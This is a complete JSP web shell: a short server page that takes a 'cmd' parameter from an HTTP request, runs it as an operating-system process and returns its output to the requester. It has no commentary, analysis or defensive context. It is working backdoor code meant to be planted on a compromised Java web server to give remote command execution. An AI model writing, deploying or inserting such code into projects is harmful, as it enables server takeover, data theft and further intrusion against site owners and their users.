<%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@page language="java" pageEncoding="utf-8" %> <% String cmd = request.getParameter("cmd"); Process process = new ProcessBuilder(new String[]{cmd}).start(); InputStream is = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); String r = null; while((r = bufferedReader.readLine())!=null){ response.getWriter().println(r); } %>